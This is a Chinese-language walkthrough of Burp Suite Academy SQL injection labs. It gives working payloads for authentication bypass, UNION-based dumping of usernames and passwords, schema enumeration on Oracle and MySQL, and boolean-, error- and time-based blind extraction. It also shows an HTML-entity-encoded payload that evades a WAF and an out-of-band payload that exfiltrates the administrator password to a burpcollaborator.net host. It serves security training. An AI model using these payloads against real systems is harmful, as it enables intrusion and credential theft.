BP靶场中SQL注入练习

news2024/11/20 16:31:52

BP靶场中SQL注入练习

  • 1.Bp靶场介绍
    • 1.1.访问靶场
    • 1.2.注意事项
  • 2.SQL注入靶场
    • 2.1.注意事项
    • 2.2.检索隐藏数据
      • 2.2.1.开启靶场
      • 2.2.2.点击礼物
      • 2.2.3.测试类型
      • 2.2.4.爆出全部物品(包括隐藏)
    • 2.3.登录逻辑
      • 2.3.1.开启靶场
      • 2.3.2.登录账户
      • 2.3.3.注释验证
      • 2.3.4.成功登陆
    • 2.4.判断列
      • 2.4.1.开启靶场
      • 2.4.2.点击分类
      • 2.4.3.测试列
        • 2.4.3.1.无回显
        • 2.4.3.2.有回显
      • 2.4.4.过关
    • 2.5.判断字段位置
      • 2.5.1.开启靶场
      • 2.5.2.替换值位置
        • 2.5.2.1.第一个位置
        • 2.5.2.2.第二个位置
    • 2.6.从其它表检索数据
      • 2.6.1.开启靶场
      • 2.6.2.测试列数
      • 2.6.3.爆出账号密码
      • 2.6.4.过关
    • 2.7.从单列中获取多个字段
      • 2.7.1.开启靶场
      • 2.7.2.测试靶场
        • 2.7.2.1.测试失败
        • 2.7.2.2.再次失败
        • 2.7.2.3.测试成功
      • 2.7.3.过关
    • 2.8.Oracle数据库版本
      • 2.8.1.开启靶场
      • 2.8.2.判断数据库类型
      • 2.8.3.查看数据版本
    • 2.9.Mysql数据库版本
      • 2.9.1.开启靶场
      • 2.9.2.查看数据库版本
    • 2.10.列出非Oracle数据库上的内容
      • 2.10.1.开启靶场
      • 2.10.2.查询所有表
      • 2.10.3.查询所有字段
      • 2.10.4.爆出账户密码
      • 2.10.5.过关
    • 2.11.列出Oracle数据库上的内容
      • 2.11.1.开启靶场
      • 2.11.2.判断列
      • 2.11.3.查询所有表
      • 2.11.4.查询所有字段
      • 2.11.5.爆出账户密码
      • 2.11.6.过关
    • 2.12.具有条件反应的SQL盲注
      • 2.12.1.开启靶场
      • 2.12.2.判断注入点
        • 2.12.2.1.正常
        • 2.12.2.2.非正常
      • 2.12.3.判断是否存在users表
      • 2.12.4.判断是否存在administrator用户
      • 2.12.5.判断密码长度
        • 2.12.5.1.设置爆破密码长度
        • 2.12.5.2.获取密码长度
      • 2.12.6.爆破密码
        • 2.12.6.1.设置爆破字段
        • 2.12.6.2.设置爆破参数
      • 2.12.7.查看密码
      • 2.12.8.过关
    • 2.13.具有条件误差的SQL盲注
      • 2.13.1.开启靶场
      • 2.13.2.判断注入情况
        • 2.13.2.1.有异常
        • 2.13.2.2.无异常
      • 2.13.3.判断数据库
        • 2.13.3.1.判断是否为mysql数据库
        • 2.13.3.2.判断是否为Oracle数据库
      • 2.13.4.判读是否存在users表
      • 2.13.5.判断是否存在administrator用户
      • 2.13.6.判断密码位数
      • 2.13.7.爆破密码
      • 2.13.8.过关
    • 2.14.具有时间延迟的SQL盲注
      • 2.14.1.开启靶场
      • 2.14.2.延迟10秒
      • 2.14.3.过关
    • 2.15.时间SQL盲注与信息检索
      • 2.15.1.开启靶场
      • 2.15.2.语句测试
      • 2.15.3.判断密码长度
      • 2.15.4.判断密码
        • 2.15.4.1.接受响应时间
        • 2.15.4.2.设置单线程
      • 2.15.5.过关
    • 2.16.带外交互的盲SQL注入
      • 2.16.1.开启靶场
      • 2.16.2.获取公用服务器
        • 2.16.2.1.打开客户端
        • 2.16.2.2.获取服务器地址
      • 2.16.3.构建payload
    • 2.17.带外数据泄漏的盲SQL注入
    • 2.18.通过XML编码绕过过滤器的SQL注入
      • 2.18.1.开启靶场
      • 2.18.2.点击页面
      • 2.18.3.发现新大陆
      • 2.18.4.抓包
      • 2.18.5.测试注入点
        • 2.18.5.1.数值为1的状态
        • 2.18.5.2.数值为2的状态
      • 2.18.6.测试是否存在数学表达式替换ID
      • 2.18.7.测试联合注入
      • 2.18.7.1.编码绕过
        • 2.18.7.2.成功绕过
      • 2.18.8.获取密码
      • 2.18.9.过关

1.Bp靶场介绍

  Bp靶场有点类似于常见的DVWA靶场、piachu靶场,里面富含多种不同类型的漏洞,并且每个靶场都有针对性,例如sql注入,从最简单的判断开始,逐步的增加难度,并且每一个靶场都附带介绍以及通过方式,能够让新人快速的了解原理并且针对性练习。

1.1.访问靶场

  靶场链接:实验室网络安全学院

1.2.注意事项

  这个靶场是在线靶场,并且是HTTPS,若需要抓包解决需要,安装HTTPS证书,可以参考我的文章进行抓取HTTPS流量。
  抓取HTTPS流量文章链接:文章链接
  同时靶场是全英文的,但是有页面翻译也还好,能够看懂,尽量使用Edge浏览器,翻译更准确一点。
  如果对sql注入不太链接,可以参考下面的文章,以及burp安装教程。
  sql原理与案例文章链接:文章链接
  burpsuite安装链接:文章链接

2.SQL注入靶场

2.1.注意事项

  在正常测试后相关性都是使空格进行分隔,例如:order by 1–,但是在部分浏览器中可能需要用加号替代空格。例如:order+by+1–。我使用火狐浏览器就存在这样的异常,后来使用Edge浏览器的时候没出现,可能火狐浏览器没有对输入的内容进行编码转换。
  所以下面的操作后存在存在添加+号替换空格也可能存在未添加,自行分辨,并非是过滤绕过。同时部分通过方式需要使用靶场指定的参数进行通过,可能也是避免别人攻击网站吧。

2.2.检索隐藏数据

  请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。

2.2.1.开启靶场

  我这里是自动进行翻译的,点击下面的访问实验室即可,稍等以下即可进入靶场,在下面的翻译为溶液的一栏中会有解决办法。
在这里插入图片描述

2.2.2.点击礼物

  这里点击礼物后,可以观察以下URL,同时可以看到在页面中只有3个物品。

在这里插入图片描述

2.2.3.测试类型

  通过观察URL中能够看到,有点像原理中提到的?id=XX这样,那么这里是不是可以作为注入点,那么这里就可以对其进行测试了,可以测试是字符型还是数字型,这里经过测试是字符型使用单引号进行闭合,同时输入后发现出现了隐藏的物品,但是并没有过关。

payload:'--

在这里插入图片描述

2.2.4.爆出全部物品(包括隐藏)

  这里知道闭合的单引号了,那么可以直接’+or+1=1–直接让所有的物品已经隐藏物品全部爆出来。这里使用+是因为编码,如果空格的话就需要编码,所有直接使用+,同时在这个靶场中,使用空格好像识别不出来。
  成功后就会提示过关,如果使用空格可能会出现过不了关的情况。

payload:'+or+1=1--

在这里插入图片描述

2.3.登录逻辑

  请执行以用户身份登录到应用程序的 SQL 注入攻击。简单来说就是通过sql注入让其能够登录管理员账号。

2.3.1.开启靶场

在这里插入图片描述

2.3.2.登录账户

  这里我们使用administrator进行登录的时候,正常情况下是无法登录的。那么这里是否可以将后面密码验证注释掉?
在这里插入图片描述

2.3.3.注释验证

  我们使用administrator’–进行注入,关于是使用字符型还是数字型自行测试,测试方式也挺简单的,至于密码,我们的思路是绕过验证,那么密码就随便输入一些内容。

payload:administrator'--

在这里插入图片描述

2.3.4.成功登陆

  通过绕过验证,成功登录账户,同时页面也提示我们成功过关。
在这里插入图片描述

2.4.判断列

  这里其实就是通过执行返回包含 null 值的附加行的 SQL注入UNION 攻击来确定查询返回的列数。

2.4.1.开启靶场

在这里插入图片描述

2.4.2.点击分类

  这里选择一个分类进行测试,这里我点击宠物分类。
在这里插入图片描述

2.4.3.测试列

  测试列需要使用order by null进行测试。这里的测试正常的思路是先测试闭合类型,然后使用order by从1一直测试到无显示为止。那么这里我测试后是单引号闭合,直接就测试无回显是到多少。

2.4.3.1.无回显

  这里测试到4的时候就出现无回显,那么证明是存在3列的。

payload:' order by 4--

在这里插入图片描述

2.4.3.2.有回显

  这里忽略我通关的显示,由于图片是后补的,所以显示这样,实质上在这步并非通过。

payload:' order by 3--

在这里插入图片描述

2.4.4.过关

  这关想要过关是需要使用union select null进行测试的,之前使用order by只是测试出这里需要几个null,那么我们测试后需要使用到3个,那么输入3个null即可过关。

payload:' union select null,null,null--

在这里插入图片描述

2.5.判断字段位置

  这里就是通过之前获取到三列,来进行判断哪一列能够返回值。

2.5.1.开启靶场

在这里插入图片描述

2.5.2.替换值位置

  这里需要使用官方提供的值进行输入,不是输入1234这样的内容,在页面的上面会显示这个字符串,这里后面我们使用字符串的时候需要使用引号,避免识别不出来。
在这里插入图片描述

2.5.2.1.第一个位置

  当将页面中提供的字符串放置第一个位置的时候,就会存在报错,证明位置并非正确。

payload:' union select 'O6chxH',null,null--

在这里插入图片描述

2.5.2.2.第二个位置

  当将页面中提供的字符串放置第二个位置的时候,页面出现过关通知,那么就证明字符串放对位置了。

payload:' union select null,'O6chxH',null--

在这里插入图片描述

2.6.从其它表检索数据

  请执行 SQL注入UNION 攻击,该攻击检索所有用户名和密码,并使用这些信息以用户身份登录,administrator。

2.6.1.开启靶场

在这里插入图片描述

2.6.2.测试列数

  这里需要先测试列数,然后结合前面学习的如何变成一个流程下来,进行执行。
  这里测试的列数是2,到3的时候出现报错了。

payload:order by 3--

在这里插入图片描述

2.6.3.爆出账号密码

  这里是根据题目的提示是存在username与password,并且是从users表中获得。
  这里不在确定字段位置是因为只用两个字段,并且官方已经提示了,就不进行测试了。

payload:' union select username,password from users--

在这里插入图片描述

2.6.4.过关

  这里我们获取到账号和密码后,进行登录,登录后就会在页面中显示过关的提示。
在这里插入图片描述

2.7.从单列中获取多个字段

  之前我们都是一列获取一个字段,这里需要我们通过一个列中获取多个字段的内容。

2.7.1.开启靶场

在这里插入图片描述

2.7.2.测试靶场

  这里经过测试是两列,至于如何测试出是两列,这里就不在复述了,跟着流程下来,这里应该也会测试了。

2.7.2.1.测试失败

  这里通过介绍是有username与password,并且是从users中读取出来,我们进行测试。
  通过测试,发现我们之前输入的payload的无法把账号和密码带出。重新看介绍,是需要我们将账号密码合并带出。

payload:' union select username,password from users--

在这里插入图片描述

2.7.2.2.再次失败

  我们将需要带出的值合并放入第一位,进行测试。这里经过测试,依旧是错误的,我们就需要考虑换一个位置。

不同数据库字符串的连接方法:
Oracle: 'foo'||'bar'
SQL Server: 'foo'+'bar'
Mysql: 'foo' 'bar'(空格) CONCAT('foo','bar')
PostgreSQL: 'foo'||'bar'
payload:' union select username||'~'||password,null from users--

在这里插入图片描述

2.7.2.3.测试成功

  这里我们替换了一个位置,成功爆出账户密码。

payload:' union select null,username||'~'||password from users--

在这里插入图片描述

2.7.3.过关

  这里只需要把获取到的账户和密码进行登录即可过关。
在这里插入图片描述

2.8.Oracle数据库版本

  这里就是查看数据库版本,当然不同的数据库有不同的查询方式。

各数据库查询版本语句:
Mysql        SELECT version()
Sql Server   SELECT @@version
Oracle       SELECT * FROM v$version
Postgre      SELECT version()

2.8.1.开启靶场

在这里插入图片描述

2.8.2.判断数据库类型

  这里虽然我们知道是Oracle 数据库,但是我们还是需要进行数据库判断,在Oracle 数据库中存在一个dual表,这个表是Oracle 数据库中自带的一张表。这里我们就可以通过这个自带表进行判断。

payload:'union select null,null from dual--

在这里插入图片描述

2.8.3.查看数据版本

  这里在判断数据库类型后,就需要查看数据的版本了,根据之前给的提示进行就可以对数据库的版本进行判断了。
  同时判断出来后,页面也会提示我们过关了。

payload:'union select banner,null from v$version--

在这里插入图片描述

2.9.Mysql数据库版本

  这里需要判断的是mysql数据库的版本了。

2.9.1.开启靶场

在这里插入图片描述

2.9.2.查看数据库版本

  这里就不去前边的判断了,直接查看数据库的版本,这里依旧是两列。

payload:' union select null,version()-- k

  后面的-- k 的k可以随便输入,这个是为了让注释能够成功。
在这里插入图片描述

2.10.列出非Oracle数据库上的内容

  这里就是通过完整的流程来获取账户和密码。

2.10.1.开启靶场

在这里插入图片描述

2.10.2.查询所有表

  这里就不进行前面的注入类型以及列的判断了,这里还是字符型以及两列。查询所有表,使用自带的information_schema。

payload:' union select table_name,null from information_schema.tables--

  通过查询表能够看到,这里是把所有表都列出来了。
在这里插入图片描述

2.10.3.查询所有字段

  这里会有很多的表,在正常测试的情况下,不确定的情况下,需要寻找关键字然后进行查找。
  注意这里的表,bp靶场生成的时候是不同的,需要替换表。

payload:' union select column_name,null from information_schema.columns where table_name='users_cgnxjc'--

在这里插入图片描述

2.10.4.爆出账户密码

  这里我们获取到账户和密码的字段后,就可以进行数据的获取了。

payload:' union select username_qbizva,password_danmjm from users_cgnxjc--

在这里插入图片描述

2.10.5.过关

  将获取到的账户密码进行登录,即可过关。
在这里插入图片描述

2.11.列出Oracle数据库上的内容

  这里和上个靶场类似。

2.11.1.开启靶场

在这里插入图片描述

2.11.2.判断列

  这里在判断列的时候需要在后面添加from dual,不然一直显示错误。

payload:' union select null,null from dual--

在这里插入图片描述

2.11.3.查询所有表

  这里依旧是对其进行查询所有表。

payload:' union select table_name,null from all_tables--

在这里插入图片描述

2.11.4.查询所有字段

  这里只能靠经验判断账户密码保存在什么那个表中了,正常都是users这些。可以去找一找。

payload:' union select column_name,null from all_tab_columns where table_name='USERS_YDSHJO'--

在这里插入图片描述

2.11.5.爆出账户密码

  这里通过爆出的字段然后去查询以下字段中的数据。

payload:' union select USERNAME_VKPLRN,PASSWORD_FLAGFE from USERS_YDSHJO--

在这里插入图片描述

2.11.6.过关

  这里把获取到的账户密码进行登录就可以过关了。
在这里插入图片描述

2.12.具有条件反应的SQL盲注

  根据目标提示,SQL注入存在Cookie中,查询成功有Welcome back的回显但没有数据的回显,给了表和字段,让我们查到administrator用户的账号密码。

2.12.1.开启靶场

在这里插入图片描述

2.12.2.判断注入点

  这里告诉我们是在cookie值位置,那么我们就在cookie值位置进行sql注入的测试。

2.12.2.1.正常

  正常情况下会显示Welcome back。

payload:' and 1=1--

在这里插入图片描述

2.12.2.2.非正常

  而非正常的情况下是不会出现Welcome back。

payload:' and 1=2--

在这里插入图片描述

2.12.3.判断是否存在users表

  这里就需要判断是否存在users的表。

payload:' and (select 'cs' from users limit 1) ='cs'--

在这里插入图片描述

2.12.4.判断是否存在administrator用户

payload:' and (select 'cs' from users where username='administrator')='cs'--

在这里插入图片描述

2.12.5.判断密码长度

payload:' and (select 'cs' from users where username='administrator' and Length(password)>1)='cs'--

  经过测试1是成立的,而我们需要判断密码是多少位。
在这里插入图片描述

2.12.5.1.设置爆破密码长度

  选中其中的1,然后设置1到30即可,当然也可以设置更长。

在这里插入图片描述在这里插入图片描述

2.12.5.2.获取密码长度

  这里通过返回的长度发现,到20的时候出现变化,那么判断密码长度为20位。
在这里插入图片描述

2.12.6.爆破密码

payload:' and (select substring(password,1,1) from users where username='administrator')='a'--

2.12.6.1.设置爆破字段

  在password后面的1是控制长度,而后面的a是测试的密码中单个字母或数字。
在这里插入图片描述

2.12.6.2.设置爆破参数

payload1:
在这里插入图片描述

payload2:
这里添加0到9,小写a到z,大写A到Z
在这里插入图片描述

2.12.7.查看密码

  密码是由payload1来定义的,假如payload1后面的1是e,payload1后面2是i,那么密码就是ei,由于攻击完后,顺序是乱的,需要自行排序。
  密码:1s4hm9hq7dok4d0mpbkb
在这里插入图片描述

2.12.8.过关

  这里我成功进入了,但是由于页面问题可能没加载出过关的通知,后面去页面中查看确实是过关了。
在这里插入图片描述

2.13.具有条件误差的SQL盲注

  这里和第十二题一样都是在cookie处存在注入点。

2.13.1.开启靶场

在这里插入图片描述

2.13.2.判断注入情况

  这里通过注入的情况,来判断是否存在注入。

2.13.2.1.有异常

  加一个单引号会引发报错。

payload:'

在这里插入图片描述

2.13.2.2.无异常

  加两个引号,也就是将前面的引号闭合,若页面正常,证明带入数据库中了,那么也就证明存在注入。

payload:''

在这里插入图片描述

2.13.3.判断数据库

  这里通过不同的方式来判断是什么数据库。

2.13.3.1.判断是否为mysql数据库

  这里报错了,那么证明不是mysql数据库。

payload:' || (select '') || '

在这里插入图片描述

2.13.3.2.判断是否为Oracle数据库

  这里可以看到页面是正常的,那么就可以证明是oracle数据库。

payload:'||(select '' from dual)||'

在这里插入图片描述

2.13.4.判读是否存在users表

  这里页面正常,证明是存在users表的。
  WHERE ROWNUM = 1 用于限定仅仅返回一行数据

payload:'||(select case when (1=2) then to_char(1/0) else '' end from users where rownum = 1)||'

在这里插入图片描述

2.13.5.判断是否存在administrator用户

  通过页面返回正常,可以看出是存在administrator用户的。

payload:'||(select case when (1=2) then to_char(1/0) else '' end from users where username='administrator')||'

在这里插入图片描述

2.13.6.判断密码位数

  通过测试,得出密码有20位。

payload:'||(select case when length(password)>1 then+to_char(1/0) else '' end from users where username='administrator')||'

在这里插入图片描述

2.13.7.爆破密码

  这里的操作和第十二关是一样的操作,这里就直接进行爆破了。

payload:'||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||'

  密码:v49z9t6xecxca6zokl3e
在这里插入图片描述

2.13.8.过关

  这里依旧是使用这个火狐渗透版,不显示过关信息,但是确实是过关完成了。
在这里插入图片描述

2.14.具有时间延迟的SQL盲注

  这里通过返回的时间来判断注入是否正确。

2.14.1.开启靶场

在这里插入图片描述

2.14.2.延迟10秒

payload:'||pg_sleep(10)--

在这里插入图片描述

2.14.3.过关

  这里要注意,靶场要求要延迟10秒才能过关。
在这里插入图片描述

2.15.时间SQL盲注与信息检索

  这里需要使用延迟进行注入进行判断,由于太耗时间,就直接上语句,不在一个一个测试了。

2.15.1.开启靶场

在这里插入图片描述

2.15.2.语句测试

  延时,%3B为分号URL编码,使得cookie查询执行后,执行SQL

验证语句:'%3bselect+case+when+(1=1)+then+pg_sleep(10)+else+pg_sleep(0)+end--
判断是否存在administrator用户:'%3bselect+case+when+(username='administrator')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users--

2.15.3.判断密码长度

  这里是10秒,我就测试到21位,因为肯定是20位,这里需要耐心等等,很慢的。这里有个问题就是可能会存在误差,所以还是需要注意。

payload:'%3bselect+case+when+(username='administrator'+and+length(password)>1)+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users--

2.15.4.判断密码

  这里还是使用之前的方式进行爆破。需要注意,时间比较长,而且如果把延迟的时间降低,可能会存在不准确的情况,误差比较大,这里还需要设置单线程,否则也会出现误报的情况。

payload:'%3bselect+case+when+(username='administrator'+and+substring(password,1,1)='a')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users--

  密码:73zzf59k8gssdrv2nr8i
在这里插入图片描述

2.15.4.1.接受响应时间

  这里可以通过调整列显示接受响应时间。
在这里插入图片描述

2.15.4.2.设置单线程

  把这里改成1就好了。
在这里插入图片描述

2.15.5.过关

在这里插入图片描述

2.16.带外交互的盲SQL注入

  这里就是需要通过外带的方式进行sql注入,这里我并未过关,自行测试哦,可能我的环境有点问题吧。

2.16.1.开启靶场

在这里插入图片描述

2.16.2.获取公用服务器

  这里使用burp软件中自带的服务器地址。

2.16.2.1.打开客户端

在这里插入图片描述

2.16.2.2.获取服务器地址

在这里插入图片描述

2.16.3.构建payload

  这里我并未获取到相关的信息,也并未过关,这里不知道是什么情况,为何数据获取不到,原先觉得是不是payload有问题,后来看觉得应该不是payload的问题,这里就把payload先放在这里把。

payload:'+union+select+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f><!doctype+root+[+<!entity+%25+remote+system+"http%3a//l4q1opz0kdkuzw12pbutkgzuslybm0.burpcollaborator.net/">+%25remote%3b]>'),'/l')+from+dual--

在这里插入图片描述

2.17.带外数据泄漏的盲SQL注入

  这里就是通过服务器将数据带出,当然这里是配合类似xxe攻击的手段配合带出,同样这里我也并未成功,始终获取不到数据。
  这里也是自行测试。

payload:'+union+select+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f><!doctype+root+[+<!entity+%25+remote+system+"http%3a//'||(select+password+from+users+where+username%3d'administrator')||'bcrx9myq17bpdz9gk83ym0u01r7hv6.burpcollaborator.net/">+%25remote%3b]>'),'/l')+from+dual--

在这里插入图片描述

2.18.通过XML编码绕过过滤器的SQL注入

2.18.1.开启靶场

在这里插入图片描述

2.18.2.点击页面

  这里看页面其实什么都没有,只有view details的按钮,那么这里我们就点击进去看看有什么东西。
在这里插入图片描述

2.18.3.发现新大陆

  这里点进去发现了新的按钮。
在这里插入图片描述

2.18.4.抓包

  这里我们发现下面的内容像xml代码,那么是不是可以修改代码。
在这里插入图片描述

2.18.5.测试注入点

  这里我们就需要测试注入点了,原来是1,那么可以尝试修改数值,我们修改成2呢,再测试是否存在数学表达式替换ID,然后观察。

2.18.5.1.数值为1的状态

  没有延迟正常。
在这里插入图片描述

2.18.5.2.数值为2的状态

  当数值为2的时候,同样没有延迟。
在这里插入图片描述

2.18.6.测试是否存在数学表达式替换ID

  使用<storeId>1+1<storeId>,成功查到<storeId>2<storeId>的结果.
在这里插入图片描述

2.18.7.测试联合注入

  在后面添加UNION SELECT NULL,发现被waf检测到了。那么是不是可以使用编码绕过??
在这里插入图片描述

2.18.7.1.编码绕过

  这里使用html编码绕过。
在这里插入图片描述

2.18.7.2.成功绕过

  可以看到这里我们成功绕过了。
在这里插入图片描述

2.18.8.获取密码

  这里同样进行编码绕过

payload:union select username || ':' || password from users
payload编码:&#32;&#85;&#78;&#73;&#79;&#78;&#32;&#83;&#69;&#76;&#69;&#67;&#84;&#32;&#117;&#115;&#101;&#114;&#110;&#97;&#109;&#101;&#32;&#124;&#124;&#32;&apos;&#58;&apos;&#32;&#124;&#124;&#32;&#112;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&#32;&#70;&#82;&#79;&#77;&#32;&#117;&#115;&#101;&#114;&#115;

  密码:b64ddknath9swz8u68fd
在这里插入图片描述

2.18.9.过关

  将获取到的密码,进行登录即可过关。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/162910.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

会话技术--cookie和session

一、会话跟踪技术的概述 对于会话跟踪这四个词&#xff0c;我们需要拆开来进行解释&#xff0c;首先要理解什么是会话&#xff0c;然后再去理解什么是会 话跟踪: 会话:用户打开浏览器&#xff0c;访问web服务器的资源&#xff0c;会话建立&#xff0c;直到有一方断开连接&#…

变量、作用域与内存

目录 原始值与引用值 动态属性 复制值 传递参数 确定类型 执行上下文与作用域 作用域链增强 变量声明 1.使用var 的函数作用域声明 2. 使用let 的块级作用域声明 3.使用const 的常量声明 标识符查找 垃圾回收 标记清理&#xff08;最常用&#xff09; 引用计数 内…

2022__我的嵌入式入坑之路

目录 一、学习篇 51单片机&#xff1a; python爬虫&#xff1a; stm32单片机&#xff1a; ad&#xff1a; 立创EDA&#xff1a; openmv&#xff1a; ardunio&#xff1a; ESP32&#xff1a; 汇编语言&#xff1a; ROS&#xff1a; FreeRTOS&#xff1a; matlab&a…

【学习】大数据关键技术

学习内容描述&#xff1a; 大数据涉及的四个环节是什么&#xff1f; 云计算服务的三种服务类型是什么&#xff1f; 重点知识&#xff1a; 大数据涉及的四个环节&#xff1a;1、数据采集&#xff1b;2、数据存储&#xff1b;3、数据管理&#xff1b;4、数据分析与挖掘。云计算…

大型智慧灌区信息化管理系统云平台 智慧灌区信息化管理系统解决方案

平升电子大型智慧灌区信息化管理系统云平台/智慧灌区信息化管理系统解决方案&#xff0c;对灌区的渠道水位、流量、水雨情、土壤墒情、气象等信息进行监测&#xff0c;同时对泵站、闸门进行远程控制&#xff0c;对重点区域进行视频监控&#xff0c;实现了信息的采集、统计、分析…

基于pyautogui的自动识别定位原神风物之诗琴按键弹奏程序

前言&#xff1a;为了学习pyautogui这个库的使用&#xff0c;我准备用它做点东西。比如一个自动弹琴的程序。不过这个琴不是现实里的琴&#xff0c;而是原神里的风物之诗琴。&#xff08;这里有个网页版模拟器可以试试&#xff1a;风物之诗琴模拟器 (haveyouwantto.github.io)&…

Spring 监听器listener原理

1.创建本地事件和事件监听器/*** 事件类*/ public class MyEventA extends ApplicationEvent {private static final long serialVersionUID 1L;public MyEventA(Object source) {super(source);System.out.println("MyEventA 构造方法被执行了...");}public void o…

基于matlab开发的车牌检测与字符分割项目附源码

文章目录1 任务概述项目完整matlab源码2 基本流程2.1 车牌定位2.1.1 图像预处理2.1.2 边缘检测2.1.3 形态学操作2.1.4 重操作判断2.1.5 区域选择2.1.6 倾斜校正2.1.7 精确选择2.2 字符分割2.3 字符识别3 结果分析3.1 车牌定位3.2 字符分割3.3 字符识别4 总结5 参考资料1 任务概…

安装vim的最新版本

1、通过源码安装 对于Linux系统&#xff0c;可以通过源码编译来安装最新版本&#xff0c;我在wsl ubuntu下的操作如下&#xff1a; 获取vim的源码&#xff1a; git clone https://github.com/vim/vim.git刚开始我帆了墙&#xff0c;结果下载不动&#xff0c;关了帆墙软件可正常…

【入门AUTOSAR网络管理测试】AUTOSAR网络管理规范需求解读

文章目录前言一、名词解释二、NM报文1.NM报文格式2.NM报文数据场内容三、NM状态机1.NM状态转换图2.状态前言 AUTOSAR Automotive Open System Architecture&#xff0c;汽车开放系统架构&#xff0c;由全球汽车制造商、部件供应商及其他电子、半导体和软件系统公司联合建立&am…

Qt扫盲-QPlainTextEdit理论总结

QPlainTextEdit理论总结一、概述二、用途一&#xff1a;纯文本展示1. 用法2. 只读快捷键三、用途二&#xff1a;纯文本编辑器1. 用法2. 快捷键绑定四、与 QTextEdit 的不同一、概述 QPlainTextEdit是一个只支持纯文本的高级查看器/编辑器。 它经过优化&#xff0c;可以处理大型…

Mac系统下matplotlib中SimHei中文字体缺失报错的解决办法

问题描述import matplotlib.pyplot as plt plt.rcParams[font.sans-serif][SimHei] plt.rcParams[axes.unicode_minus]False使用matplotlib画图时&#xff0c;因为缺少字体&#xff0c;、图像上label上的中文显示时空白小方块。因为matplotlib默认没有中文。解决方法&#xff…

多维时序 | MATLAB实现VMD-SSA-KELM和VMD-KELM变分模态分解结合麻雀算法优化核极限学习机多输入单输出时间序列预测

多维时序 | MATLAB实现VMD-SSA-KELM和VMD-KELM变分模态分解结合麻雀算法优化核极限学习机多输入单输出时间序列预测 目录多维时序 | MATLAB实现VMD-SSA-KELM和VMD-KELM变分模态分解结合麻雀算法优化核极限学习机多输入单输出时间序列预测预测效果基本介绍程序设计学习小结参考资…

城堡、游乐园、地下城!!!500+ 超棒 FBX 模型素材,全部都免费!

近期 Cocos 社区有好几位热心的开发者&#xff0c;整理了一些 CC0 协议 的游戏资源。如果你对 CC0 协议还不太了解&#xff0c;我找到一个中文版的协议说明&#xff0c;看下图&#xff1a;有几点比较重要&#xff1a;作者放弃著作权&#xff0c;已将作品贡献至公共领域可以复制…

【ROS】—— 机器人系统仿真 —RDF、Gazebo与Rviz综合应用(十六)

文章目录前言1. 机器人运动控制以及里程计信息显示1.1 ros_control 简介1.2 运动控制实现流程(Gazebo)1.2.1 为 joint 添加传动装置以及控制器1.2.2 xacro文件集成1.2.3 启动 gazebo并控制机器人运动2. 雷达信息仿真以及显示2.1 新建 Xacro 文件&#xff0c;配置雷达传感器信息…

C++STL之vector的模拟实现

由于vector和string的接口使用方法类似&#xff0c;这里便不再详细讲解vector各种接口的使用了&#xff0c;可以参考之前所发布的string的使用&#xff0c;或者从官方文档中获取详细的使用方法. 目录 vector介绍 构造函数&#xff08;有参&#xff0c;无参&#xff0c;迭代器…

【14】Docker network | bridge | host | none | container

目录 1、Docker 运行的基本流程为: 2、Docker0 3、Docker默认的三种网络模式 4、Docker的网络命令 5、网络模式 6、实例&#xff1a; 7、bridge模式 8、host模式 9、none模式 10、container模式 11、自定义网络 1、Docker 运行的基本流程为: 1.用户是使用 Docker Clie…

UDS诊断系列介绍10-28服务

本文框架1. 系列介绍1.1 28服务概述2. 28服务请求与应答2.1 28服务请求2.2 28服务正响应2.3 否定应答3. Autosar系列文章快速链接1. 系列介绍 UDS&#xff08;Unified Diagnostic Services&#xff09;协议&#xff0c;即统一的诊断服务&#xff0c;是面向整车所有ECU的一种诊…

session利用的小思路

session利用的小思路 前言 做题的时候经常考到session利用&#xff0c;常见的基本就两种&#xff0c;session文件包含和session反序列化&#xff0c;之前没有详细总结过&#xff0c;就写写吧。 session文件包含 php.ini session的相关配置 session.upload_progress.enabl…

15、ThingsBoard-自定义阿里云SMS规则节点

1、概述 一个物联网平台承载着很多设备的连接,当设备出现异常的时候,能够快速的通知到运维管理员是非常重要的,thingsboard提供了自定义配置邮箱,但是它对支持发送短信的不是很友好,都是国外的sms服务商,我反正是不用那个,在国内常见就是阿里、腾讯、华为、七牛常用的s…